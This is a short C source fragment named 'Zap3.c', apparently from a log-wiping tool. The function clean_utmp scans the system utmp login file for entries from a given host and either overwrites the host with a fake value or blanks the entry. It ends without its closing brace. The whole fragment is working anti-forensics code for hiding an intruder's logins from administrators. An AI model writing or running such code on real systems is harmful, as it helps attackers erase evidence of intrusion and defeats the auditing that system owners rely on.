Zap3.c

void clean_utmp(char *host,char *fake)
{
     int f;
     struct utmp utmp_ent;
     if ((f=open(UTMP_NAME,O_RDWR))<0) {
       perror("open");
       close(f);
        }
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
         if(fake) {
           memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
         }else {
                 memset(&utmp_ent,0,sizeof( utmp_ent ));
     }
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
     printf("\tcleaning utmp file finished\n\t");